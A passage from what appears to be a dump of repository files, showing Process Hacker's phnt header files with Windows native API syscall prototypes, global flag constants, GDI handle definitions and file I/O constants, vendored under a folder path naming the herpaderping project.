);\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetDefaultLocale(\n _In_ BOOLEAN UserProfile,\n _In_ LCID DefaultLocaleId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInstallUILanguage(\n _Out_ LANGID *InstallUILanguageId\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFlushInstallUILanguage(\n _In_ LANGID InstallUILanguage,\n _In_ ULONG SetComittedFlag\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryDefaultUILanguage(\n _Out_ LANGID *DefaultUILanguageId\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetDefaultUILanguage(\n _In_ LANGID DefaultUILanguageId\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtIsUILanguageComitted(\n VOID\n );\n#endif\n\n// NLS\n\n// begin_private\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtInitializeNlsFiles(\n _Out_ PVOID *BaseAddress,\n _Out_ PLCID DefaultLocaleId,\n _Out_ PLARGE_INTEGER DefaultCasingTableSize\n );\n#else\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtInitializeNlsFiles(\n _Out_ PVOID *BaseAddress,\n _Out_ PLCID DefaultLocaleId,\n _Out_ PLARGE_INTEGER DefaultCasingTableSize,\n _Out_opt_ PULONG CurrentNLSVersion\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtGetNlsSectionPtr(\n _In_ ULONG SectionType,\n _In_ ULONG SectionData,\n _In_ PVOID ContextData,\n _Out_ PVOID *SectionPointer,\n _Out_ PULONG SectionSize\n );\n\n#if (PHNT_VERSION < PHNT_WIN7)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAcquireCMFViewOwnership(\n _Out_ PULONGLONG TimeStamp,\n _Out_ PBOOLEAN tokenTaken,\n _In_ BOOLEAN replaceExisting\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReleaseCMFViewOwnership(\n VOID\n );\n\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtMapCMFModule(\n _In_ ULONG What,\n _In_ ULONG Index,\n _Out_opt_ PULONG CacheIndexOut,\n _Out_opt_ PULONG CacheFlagsOut,\n _Out_opt_ PULONG ViewSizeOut,\n _Out_opt_ PVOID *BaseAddress\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtGetMUIRegistryInfo(\n _In_ ULONG Flags,\n _Inout_ PULONG DataSize,\n _Out_ PVOID Data\n );\n\n#endif\n\n// end_private\n\n// Global atoms\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAddAtom(\n _In_reads_bytes_opt_(Length) PWSTR AtomName,\n _In_ ULONG Length,\n _Out_opt_ PRTL_ATOM Atom\n );\n\n#if (PHNT_VERSION >= PHNT_WIN8)\n\n#define ATOM_FLAG_GLOBAL 0x2\n\n// rev\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtAddAtomEx(\n _In_reads_bytes_opt_(Length) PWSTR AtomName,\n _In_ ULONG Length,\n _Out_opt_ PRTL_ATOM Atom,\n _In_ ULONG Flags\n );\n\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtFindAtom(\n _In_reads_bytes_opt_(Length) PWSTR AtomName,\n _In_ ULONG Length,\n _Out_opt_ PRTL_ATOM Atom\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDeleteAtom(\n _In_ RTL_ATOM Atom\n );\n\ntypedef enum _ATOM_INFORMATION_CLASS\n{\n AtomBasicInformation,\n AtomTableInformation\n} ATOM_INFORMATION_CLASS;\n\ntypedef struct _ATOM_BASIC_INFORMATION\n{\n USHORT UsageCount;\n USHORT Flags;\n USHORT NameLength;\n WCHAR Name[1];\n} ATOM_BASIC_INFORMATION, *PATOM_BASIC_INFORMATION;\n\ntypedef struct _ATOM_TABLE_INFORMATION\n{\n ULONG NumberOfAtoms;\n RTL_ATOM Atoms[1];\n} ATOM_TABLE_INFORMATION, *PATOM_TABLE_INFORMATION;\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryInformationAtom(\n _In_ RTL_ATOM Atom,\n _In_ ATOM_INFORMATION_CLASS AtomInformationClass,\n _Out_writes_bytes_(AtomInformationLength) PVOID AtomInformation,\n _In_ ULONG AtomInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\n// Global flags\n\n#define FLG_STOP_ON_EXCEPTION 0x00000001 // uk\n#define FLG_SHOW_LDR_SNAPS 0x00000002 // uk\n#define FLG_DEBUG_INITIAL_COMMAND 0x00000004 // k\n#define FLG_STOP_ON_HUNG_GUI 0x00000008 // k\n\n#define FLG_HEAP_ENABLE_TAIL_CHECK 0x00000010 // u\n#define FLG_HEAP_ENABLE_FREE_CHECK 0x00000020 // u\n#define FLG_HEAP_VALIDATE_PARAMETERS 0x00000040 // u\n#define FLG_HEAP_VALIDATE_ALL 0x00000080 // u\n\n#define FLG_APPLICATION_VERIFIER 0x00000100 // u\n#define FLG_POOL_ENABLE_TAGGING 0x00000400 // k\n#define FLG_HEAP_ENABLE_TAGGING 0x00000800 // u\n\n#define FLG_USER_STACK_TRACE_DB 0x00001000 // u,32\n#define FLG_KERNEL_STACK_TRACE_DB 0x00002000 // k,32\n#define FLG_MAINTAIN_OBJECT_TYPELIST 0x00004000 // k\n#define FLG_HEAP_ENABLE_TAG_BY_DLL 0x00008000 // u\n\n#define FLG_DISABLE_STACK_EXTENSION 0x00010000 // u\n#define FLG_ENABLE_CSRDEBUG 0x00020000 // k\n#define FLG_ENABLE_KDEBUG_SYMBOL_LOAD 0x00040000 // k\n#define FLG_DISABLE_PAGE_KERNEL_STACKS 0x00080000 // k\n\n#define FLG_ENABLE_SYSTEM_CRIT_BREAKS 0x00100000 // u\n#define FLG_HEAP_DISABLE_COALESCING 0x00200000 // u\n#define FLG_ENABLE_CLOSE_EXCEPTIONS 0x00400000 // k\n#define FLG_ENABLE_EXCEPTION_LOGGING 0x00800000 // k\n\n#define FLG_ENABLE_HANDLE_TYPE_TAGGING 0x01000000 // k\n#define FLG_HEAP_PAGE_ALLOCS 0x02000000 // u\n#define FLG_DEBUG_INITIAL_COMMAND_EX 0x04000000 // k\n#define FLG_DISABLE_DBGPRINT 0x08000000 // k\n\n#define FLG_CRITSEC_EVENT_CREATION 0x10000000 // u\n#define FLG_LDR_TOP_DOWN 0x20000000 // u,64\n#define FLG_ENABLE_HANDLE_EXCEPTIONS 0x40000000 // k\n#define FLG_DISABLE_PROTDLLS 0x80000000 // u\n\n#define FLG_VALID_BITS 0xfffffdff\n\n#define FLG_USERMODE_VALID_BITS (FLG_STOP_ON_EXCEPTION | \\\n FLG_SHOW_LDR_SNAPS | \\\n FLG_HEAP_ENABLE_TAIL_CHECK | \\\n FLG_HEAP_ENABLE_FREE_CHECK | \\\n FLG_HEAP_VALIDATE_PARAMETERS | \\\n FLG_HEAP_VALIDATE_ALL | \\\n FLG_APPLICATION_VERIFIER | \\\n FLG_HEAP_ENABLE_TAGGING | \\\n FLG_USER_STACK_TRACE_DB | \\\n FLG_HEAP_ENABLE_TAG_BY_DLL | \\\n FLG_DISABLE_STACK_EXTENSION | \\\n FLG_ENABLE_SYSTEM_CRIT_BREAKS | \\\n FLG_HEAP_DISABLE_COALESCING | \\\n FLG_DISABLE_PROTDLLS | \\\n FLG_HEAP_PAGE_ALLOCS | \\\n FLG_CRITSEC_EVENT_CREATION | \\\n FLG_LDR_TOP_DOWN)\n\n#define FLG_BOOTONLY_VALID_BITS (FLG_KERNEL_STACK_TRACE_DB | \\\n FLG_MAINTAIN_OBJECT_TYPELIST | \\\n FLG_ENABLE_CSRDEBUG | \\\n FLG_DEBUG_INITIAL_COMMAND | \\\n FLG_DEBUG_INITIAL_COMMAND_EX | \\\n FLG_DISABLE_PAGE_KERNEL_STACKS)\n\n#define FLG_KERNELMODE_VALID_BITS (FLG_STOP_ON_EXCEPTION | \\\n FLG_SHOW_LDR_SNAPS | \\\n FLG_STOP_ON_HUNG_GUI | \\\n FLG_POOL_ENABLE_TAGGING | \\\n FLG_ENABLE_KDEBUG_SYMBOL_LOAD | \\\n FLG_ENABLE_CLOSE_EXCEPTIONS | \\\n FLG_ENABLE_EXCEPTION_LOGGING | \\\n FLG_ENABLE_HANDLE_TYPE_TAGGING | \\\n FLG_DISABLE_DBGPRINT | \\\n FLG_ENABLE_HANDLE_EXCEPTIONS)\n\n// Licensing\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryLicenseValue(\n _In_ PUNICODE_STRING ValueName,\n _Out_opt_ PULONG Type,\n _Out_writes_bytes_to_opt_(DataSize, *ResultDataSize) PVOID Data,\n _In_ ULONG DataSize,\n _Out_ PULONG ResultDataSize\n );\n\n// Misc.\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetDefaultHardErrorPort(\n _In_ HANDLE DefaultHardErrorPort\n );\n\ntypedef enum _SHUTDOWN_ACTION\n{\n ShutdownNoReboot,\n ShutdownReboot,\n ShutdownPowerOff\n} SHUTDOWN_ACTION;\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtShutdownSystem(\n _In_ SHUTDOWN_ACTION Action\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDisplayString(\n _In_ PUNICODE_STRING String\n );\n\n// Boot graphics\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n// rev\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDrawText(\n _In_ PUNICODE_STRING Text\n );\n#endif\n\n#endif // (PHNT_MODE != PHNT_MODE_KERNEL)\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntgdi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTGDI_H\n#define _NTGDI_H\n\n#define GDI_MAX_HANDLE_COUNT 0x4000\n\n#define GDI_HANDLE_INDEX_SHIFT 0\n#define GDI_HANDLE_INDEX_BITS 16\n#define GDI_HANDLE_INDEX_MASK 0xffff\n\n#define GDI_HANDLE_TYPE_SHIFT 16\n#define GDI_HANDLE_TYPE_BITS 5\n#define GDI_HANDLE_TYPE_MASK 0x1f\n\n#define GDI_HANDLE_ALTTYPE_SHIFT 21\n#define GDI_HANDLE_ALTTYPE_BITS 2\n#define GDI_HANDLE_ALTTYPE_MASK 0x3\n\n#define GDI_HANDLE_STOCK_SHIFT 23\n#define GDI_HANDLE_STOCK_BITS 1\n#define GDI_HANDLE_STOCK_MASK 0x1\n\n#define GDI_HANDLE_UNIQUE_SHIFT 24\n#define GDI_HANDLE_UNIQUE_BITS 8\n#define GDI_HANDLE_UNIQUE_MASK 0xff\n\n#define GDI_HANDLE_INDEX(Handle) ((ULONG)(Handle) & GDI_HANDLE_INDEX_MASK)\n#define GDI_HANDLE_TYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_TYPE_SHIFT) & GDI_HANDLE_TYPE_MASK)\n#define GDI_HANDLE_ALTTYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_ALTTYPE_SHIFT) & GDI_HANDLE_ALTTYPE_MASK)\n#define GDI_HANDLE_STOCK(Handle) (((ULONG)(Handle) >> GDI_HANDLE_STOCK_SHIFT)) & GDI_HANDLE_STOCK_MASK)\n\n#define GDI_MAKE_HANDLE(Index, Unique) ((ULONG)(((ULONG)(Unique) << GDI_HANDLE_INDEX_BITS) | (ULONG)(Index)))\n\n// GDI server-side types\n\n#define GDI_DEF_TYPE 0 // invalid handle\n#define GDI_DC_TYPE 1\n#define GDI_DD_DIRECTDRAW_TYPE 2\n#define GDI_DD_SURFACE_TYPE 3\n#define GDI_RGN_TYPE 4\n#define GDI_SURF_TYPE 5\n#define GDI_CLIENTOBJ_TYPE 6\n#define GDI_PATH_TYPE 7\n#define GDI_PAL_TYPE 8\n#define GDI_ICMLCS_TYPE 9\n#define GDI_LFONT_TYPE 10\n#define GDI_RFONT_TYPE 11\n#define GDI_PFE_TYPE 12\n#define GDI_PFT_TYPE 13\n#define GDI_ICMCXF_TYPE 14\n#define GDI_ICMDLL_TYPE 15\n#define GDI_BRUSH_TYPE 16\n#define GDI_PFF_TYPE 17 // unused\n#define GDI_CACHE_TYPE 18 // unused\n#define GDI_SPACE_TYPE 19\n#define GDI_DBRUSH_TYPE 20 // unused\n#define GDI_META_TYPE 21\n#define GDI_EFSTATE_TYPE 22\n#define GDI_BMFD_TYPE 23 // unused\n#define GDI_VTFD_TYPE 24 // unused\n#define GDI_TTFD_TYPE 25 // unused\n#define GDI_RC_TYPE 26 // unused\n#define GDI_TEMP_TYPE 27 // unused\n#define GDI_DRVOBJ_TYPE 28\n#define GDI_DCIOBJ_TYPE 29 // unused\n#define GDI_SPOOL_TYPE 30\n\n// GDI client-side types\n\n#define GDI_CLIENT_TYPE_FROM_HANDLE(Handle) ((ULONG)(Handle) & ((GDI_HANDLE_ALTTYPE_MASK << GDI_HANDLE_ALTTYPE_SHIFT) | \\\n (GDI_HANDLE_TYPE_MASK << GDI_HANDLE_TYPE_SHIFT)))\n#define GDI_CLIENT_TYPE_FROM_UNIQUE(Unique) GDI_CLIENT_TYPE_FROM_HANDLE((ULONG)(Unique) << 16)\n\n#define GDI_ALTTYPE_1 (1 << GDI_HANDLE_ALTTYPE_SHIFT)\n#define GDI_ALTTYPE_2 (2 << GDI_HANDLE_ALTTYPE_SHIFT)\n#define GDI_ALTTYPE_3 (3 << GDI_HANDLE_ALTTYPE_SHIFT)\n\n#define GDI_CLIENT_BITMAP_TYPE (GDI_SURF_TYPE << GDI_HANDLE_TYPE_SHIFT)\n#define GDI_CLIENT_BRUSH_TYPE (GDI_BRUSH_TYPE << GDI_HANDLE_TYPE_SHIFT)\n#define GDI_CLIENT_CLIENTOBJ_TYPE (GDI_CLIENTOBJ_TYPE << GDI_HANDLE_TYPE_SHIFT)\n#define GDI_CLIENT_DC_TYPE (GDI_DC_TYPE << GDI_HANDLE_TYPE_SHIFT)\n#define GDI_CLIENT_FONT_TYPE (GDI_LFONT_TYPE << GDI_HANDLE_TYPE_SHIFT)\n#define GDI_CLIENT_PALETTE_TYPE (GDI_PAL_TYPE << GDI_HANDLE_TYPE_SHIFT)\n#define GDI_CLIENT_REGION_TYPE (GDI_RGN_TYPE << GDI_HANDLE_TYPE_SHIFT)\n\n#define GDI_CLIENT_ALTDC_TYPE (GDI_CLIENT_DC_TYPE | GDI_ALTTYPE_1)\n#define GDI_CLIENT_DIBSECTION_TYPE (GDI_CLIENT_BITMAP_TYPE | GDI_ALTTYPE_1)\n#define GDI_CLIENT_EXTPEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_2)\n#define GDI_CLIENT_METADC16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_3)\n#define GDI_CLIENT_METAFILE_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_2)\n#define GDI_CLIENT_METAFILE16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_1)\n#define GDI_CLIENT_PEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_1)\n\ntypedef struct _GDI_HANDLE_ENTRY\n{\n union\n {\n PVOID Object;\n PVOID NextFree;\n };\n union\n {\n struct\n {\n USHORT ProcessId;\n USHORT Lock : 1;\n USHORT Count : 15;\n };\n ULONG Value;\n } Owner;\n USHORT Unique;\n UCHAR Type;\n UCHAR Flags;\n PVOID UserPointer;\n} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY;\n\ntypedef struct _GDI_SHARED_MEMORY\n{\n GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT];\n} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY;\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntioapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTIOAPI_H\n#define _NTIOAPI_H\n\n// Create disposition\n\n#define FILE_SUPERSEDE 0x00000000\n#define FILE_OPEN 0x00000001\n#define FILE_CREATE 0x00000002\n#define FILE_OPEN_IF 0x00000003\n#define FILE_OVERWRITE 0x00000004\n#define FILE_OVERWRITE_IF 0x00000005\n#define FILE_MAXIMUM_DISPOSITION 0x00000005\n\n// Create/open flags\n\n#define FILE_DIRECTORY_FILE 0x00000001\n#define FILE_WRITE_THROUGH 0x00000002\n#define FILE_SEQUENTIAL_ONLY 0x00000004\n#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008\n\n#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010\n#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020\n#define FILE_NON_DIRECTORY_FILE 0x00000040\n#define FILE_CREATE_TREE_CONNECTION 0x00000080\n\n#define FILE_COMPLETE_IF_OPLOCKED 0x00000100\n#define FILE_NO_EA_KNOWLEDGE 0x00000200\n#define FILE_OPEN_FOR_RECOVERY 0x00000400\n#define FILE_RANDOM_ACCESS 0x00000800\n\n#define FILE_DELETE_ON_CLOSE 0x00001000\n#define FILE_OPEN_BY_FILE_ID 0x00002000\n#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000\n#define FILE_NO_COMPRESSION 0x00008000\n#if (PHNT_VERSION >= PHNT_WIN7)\n#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000\n#define FILE_DISALLOW_EXCLUSIVE 0x00020000\n#endif\n#if (PHNT_VERSION >= PHNT_WIN8)\n#define FILE_SESSION_AWARE 0x00040000\n#endif\n\n#define FILE_RESERVE_OPFILTER 0x00100000\n#define FILE_OPEN_REPARSE_POINT 0x00200000\n#define FILE_OPEN_NO_RECALL 0x00400000\n#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000\n\n#define FILE_COPY_STRUCTURED_STORAGE 0x00000041\n#define FILE_STRUCTURED_STORAGE 0x00000441\n\n// I/O status information values for NtCreateFile/NtOpenFile\n\n#define FILE_SUPERSEDED 0x00000000\n#define FILE_OPENED 0x00000001\n#define FILE_CREATED 0x00000002\n#define FILE_OVERWRITTEN 0x00000003\n#define FILE_EXISTS 0x00000004\n#define FILE_DOES_NOT_EXIST 0x00000005\n\n// Special ByteOffset parameters\n\n#define FILE_WRITE_TO_END_OF_FILE 0xffffffff\n#define FILE_USE_FILE_POINTER_POSITION 0xfffffffe\n\n// Alignment requirement values\n\n#define FILE_BYTE_ALIGNMENT 0x00000000\n#define FILE_WORD_ALIGNMENT 0x00000001\n#define FILE_LONG_ALIGNMENT 0x00000003\n#define FILE_QUAD_ALIGNMENT 0x00000007\n#define FILE_OCTA_ALIGNMENT 0x0000000f\n#define FILE_32_BYTE_ALIGNMENT 0x0000001f\n#define FILE_64_BYTE_ALIGNMENT 0x0000003f\n#define FILE_128_BYTE_ALIGNMENT 0x0000007f\n#define FILE_256_BYTE_ALIGNMENT 0x000000ff\n#define FILE_512_BYTE_ALIGNMENT 0x000001ff\n\n// Maximum length of a filename string\n\n#define MAXIMUM_FILENAME_LENGTH 256\n\n// Extended attributes\n\n#define FILE_NEED_EA 0x00000080\n\n#define FILE_EA_TYPE_BINARY 0xfffe\n#define FILE_EA_TYPE_ASCII 0xfffd\n#define FILE_EA_TYPE_BITMAP 0xfffb\n#define FILE_EA_TYPE_METAFILE 0xfffa\n#define FILE_EA_TYPE_ICON 0xfff9\n#define FILE_EA_TYPE_EA 0xffee\n#define FILE_EA_TYPE_MVMT 0xffdf\n#define FILE_EA_TYPE_MVST 0xffde\n#define FILE_EA_TYPE_ASN1 0xffdd\n#define FILE_EA_TYPE_FAMILY_IDS 0xff01\n\n// Device characteristics\n\n#define FILE_REMOVABLE_MEDIA 0x00000001\n#define FILE_READ_ONLY_DEVICE 0x00000002\n#define FILE_FLOPPY_DISKETTE 0x00000004\n#define FILE_WRITE_ONCE_MEDIA 0x00000008\n#define FILE_REMOTE_DEVICE 0x00000010\n#define FILE_DEVICE_IS_MOUNTED 0x00000020\n#define FILE_VIRTUAL_VOLUME 0x00000040\n#define FILE_AUTOGENERATED_DEVICE_NAME 0x00000080\n#define FILE_DEVICE_SECURE_OPEN 0x00000100\n#define FILE_CHARACTERISTIC_PNP_DEVICE 0x00000800\n#define FILE_CHARACTERISTIC_TS_DEVICE 0x00001000\n#define FILE_CHARACTERISTIC_WEBDAV_DEVICE 0x00002000\n#define FILE_CHARACTERISTIC_CSV 0x00010000\n#define FILE_DEVICE_ALLOW_APPCONTAINER_TRAVERSAL 0x00020000\n#define FILE_PORTABLE_DEVICE 0x00040000\n\n// Named pipe values\n\n// NamedPipeType for NtCreateNamedPipeFile\n#define FILE_PIPE_BYTE_STREAM_TYPE 0x00000000\n#define FILE_PIPE_MESSAGE_TYPE 0x00000001\n#define FILE_PIPE_ACCEPT_REMOTE_CLIENTS 0x00000000\n#define FILE_PIPE_REJECT_REMOTE_CLIENTS 0x00000002\n#define FILE_PIPE_TYPE_VALID_MASK 0x00000003\n\n// CompletionMode for NtCreateNamedPipeFile\n#define FILE_PIPE_QUEUE_OPERATION 0x00000000\n#define FILE_PIPE_COMPLETE_OPERATION 0x00000001\n\n// ReadMode for NtCreateNamedPipeFile\n#define FILE_PIPE_BYTE_STREAM_MODE 0x00000000\n#define FILE_PIPE_MESSAGE_MODE 0x00000001\n\n// NamedPipeConfiguration for NtQueryInformationFile\n#define FILE_PIPE_INBOUND 0x00000000\n#define FILE_PIPE_OUTBOUND 0x00000001\n#define FILE_PIPE_FULL_DUPLEX 0x00000002\n\n// NamedPipeState for NtQueryInformationFile\n#define FILE_PIPE_DISCONNECTED_STATE 0x00000001\n#define FILE_PIPE_LISTENING_STATE 0x00000002\n#define FILE_PIPE_CONNECTED_STATE 0x00000003\n#define FILE_PIPE_CLOSING_STATE 0x00000004\n\n// NamedPipeEnd for NtQueryInformationFile\n#define FILE_PIPE_CLIENT_END 0x00000000\n#define FILE_PIPE_SERVER_END 0x00000001\n\n// Mailslot values\n\n#define MAILSLOT_SIZE_AUTO 0\n\ntypedef struct _IO_STATUS_BLOCK\n{\n union\n {\n NTSTATUS Status;\n PVOID Pointer;\n };\n ULONG_PTR Information;\n} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;\n\ntypedef VOID (NTAPI *PIO_APC_ROUTINE)(\n _In_ PVOID ApcContext,\n _In_ PIO_STATUS_BLOCK IoStatusBlock,\n _In_ ULONG Reserved\n );\n\n// private\ntypedef struct _FILE_IO_COMPLETION_INFORMATION\n{\n PVOID KeyContext;\n PVOID ApcContext;\n IO_STATUS_BLOCK IoStatusBlock;\n} FILE_IO_COMPLETION_INFORMATION, *PFILE_IO_COMPLETION_INFORMATION;\n\ntypedef enum _FILE_INFORMATION_CLASS\n{\n FileDirectoryInformation = 1, // FILE_DIRECTORY_INFORMATION\n FileFullDirectoryInformation, // FILE_FULL_DIR_INFORMATION\n FileBothDirectoryInformation, // FILE_BOTH_DIR_INFORMATION\n FileBasicInformation, // FILE_BASIC_INFORMATION\n FileStandardInformation, // FILE_STANDARD_INFORMATION\n FileInternalInformation, // FILE_INTERNAL_INFORMATION\n FileEaInformation, // FILE_EA_INFORMATION\n FileAccessInformation, // FILE_ACCESS_INFORMATION\n FileNameInformation, // FILE_NAME_INFORMATION\n FileRenameInformation, // FILE_RENAME_INFORMATION // 10\n FileLinkInformation, // FILE_LINK_INFORMATION\n FileNamesInformation, // FILE_NAMES_INFORMATION\n FileDispositionInformation, // FILE_DISPOSITION_INFORMATION\n FilePositionInformation, // FILE_POSITION_INFORMATION\n FileFullEaInformation, // FILE_FULL_EA_INFORMATION\n FileModeInformation, // FILE_MODE_INFORMATION\n FileAlignmentInformation, // FILE_ALIGNMENT_INFORMATION\n FileAllInformation, // FILE_ALL_INFORMATION\n FileAllocationInformation, // FILE_ALLOCATION_INFORMATION\n FileEndOfFileInformation, // FILE_END_OF_FILE_INFORMATION // 20\n FileAlternateNameInformation, // FILE_NAME_INFORMATION\n FileStreamInformation, // FILE_STREAM_INFORMATION\n FilePipeInformation, // FILE_PIPE_INFORMATION\n FilePipeLocalInformation, // FILE_PIPE_LOCAL_INFORMATION\n FilePipeRemoteInformation, // FILE_PIPE_REMOTE_INFORMATION\n FileMailslotQueryInformation, // FILE_MAILSLOT_QUERY_INFORMATION\n FileMailslotSetInformation, // FILE_MAILSLOT_SET_INFORMATION\n FileCompressionInformation, // FILE_COMPRESSION_INFORMATION\n FileObjectIdInformation, // FILE_OBJECTID_INFORMATION\n FileCompletionInformation, // FILE_COMPLETION_INFORMATION // 30\n FileMoveClusterInformation, // FILE_MOVE_CLUSTER_INFORMATION\n FileQuotaInformation, // FILE_QUOTA_INFORMATION\n FileReparsePointInformation, // FILE_REPARSE_POINT_INFORMATION\n FileNetworkOpenInformation, // FILE_NETWORK_OPEN_INFORMATION\n FileAttributeTagInformation, // FILE_ATTRIBUTE_TAG_INFORMATION\n FileTrackingInformation, // FILE_TRACKING_INFORMATION\n FileIdBothDirectoryInformation, // FILE_ID_BOTH_DIR_INFORMATION\n FileIdFullDirectoryInformation, // FILE_ID_FULL_DIR_INFORMATION\n FileValidDataLengthInformation, // FILE_VALID_DATA_LENGTH_INFORMATION\n FileShortNameInformation, // FILE_NAME_INFORMATION // 40\n FileIoCompletionNotificationInformation, // FILE_IO_COMPLETION_NOTIFICATION_INFORMATION // since VISTA\n FileIoStatusBlockRangeInformation, // FILE_IOSTATUSBLOCK_RANGE_INFORMATION\n FileIoPriorityHintInformation, // FILE_IO_PRIORITY_HINT_INFORMATION\n FileSfioReserveInformation, // FILE_SFIO_RESERVE_INFORMATION\n FileSfioVolumeInformation, // FILE_SFIO_VOLUME_INFORMATION\n FileHardLinkInformation, // FILE_LINKS_INFORMATION\n FileProcessIdsUsingFileInformation, // FILE_PROCESS_IDS_USING_FILE_INFORMATION\n FileNormalizedNameInformation, // FILE_NAME_INFORMATION\n FileNetworkPhysicalNameInformation, // FILE_NETWORK_PHYSICAL_NAME_INFORMATION\n FileIdGlobalTxDirectoryInformation, // FILE_ID_GLOBAL_TX_DIR_INFORMATION // since WIN7 // 50\n FileIsRemoteDeviceInformation, // FILE_IS_REMOTE_DEVICE_INFORMATION\n FileUnusedInformation,\n FileNumaNodeInformation, // FILE_NUMA_NODE_INFORMATION\n FileStandardLinkInformation, // FILE_STANDARD_LINK_INFORMATION\n FileRemoteProtocolInformation, // FILE_REMOTE_PROTOCOL_INFORMATION\n FileRenameInformationBypassAccessCheck, // (kernel-mode only); FILE_RENAME_INFORMATION // since WIN8\n FileLinkInformationBypassAccessCheck, // (kernel-mode only); FILE_LINK_INFORMATION\n FileVolumeNameInformation, // FILE_VOLUME_NAME_INFORMATION\n FileIdInformation, // FILE_ID_INFORMATION\n FileIdExtdDirectoryInformation, // FILE_ID_EXTD_DIR_INFORMATION // 60\n FileReplaceCompletionInformation, // FILE_COMPLETION_INFORMATION // since WINBLUE\n FileHardLinkFullIdInformation, // FILE_LINK_ENTRY_FULL_ID_INFORMATION\n FileIdExtdBothDirectoryInformation, // FILE_ID_EXTD_BOTH_DIR_INFORMATION // since THRESHOLD\n FileDispositionInformationEx, // FILE_DISPOSITION_INFO_EX // since REDSTONE\n FileRenameInformationEx, // FILE_RENAME_INFORMATION_EX\n FileRenameInformationExBypassAccessCheck, // (kernel-mode only); FILE_RENAME_INFORMATION_EX\n FileDesiredStorageClassInformation, // FILE_DESIRED_STORAGE_CLASS_INFORMATION // since REDSTONE2\n FileStatInformation, // FILE_STAT_INFORMATION\n FileMemoryPartitionInformation, // FILE_MEMORY_PARTITION_INFORMATION // since REDSTONE3\n FileStatLxInformation, // FILE_STAT_LX_INFORMATION // since REDSTONE4 // 70\n FileCaseSensitiveInformation, // FILE_CASE_SENSITIVE_INFORMATION\n FileLinkInformationEx, // FILE_LINK_INFORMATION_EX // since REDSTONE5\n FileLinkInformationExBypassAccessCheck, // (kernel-mode only); FILE_LINK_INFORMATION_EX\n FileStorageReserveIdInformation, // FILE_SET_STORAGE_RESERVE_ID_INFORMATION\n FileCaseSensitiveInformationForceAccessCheck, // FILE_CASE_SENSITIVE_INFORMATION\n FileMaximumInformation\n} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;\n\n// NtQueryInformationFile/NtSetInformationFile types\n\ntypedef struct _FILE_BASIC_INFORMATION\n{\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n ULONG FileAttributes;\n} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;\n\ntypedef struct _FILE_STANDARD_INFORMATION\n{\n LARGE_INTEGER AllocationSize;\n LARGE_INTEGER EndOfFile;\n ULONG NumberOfLinks;\n BOOLEAN DeletePending;\n BOOLEAN 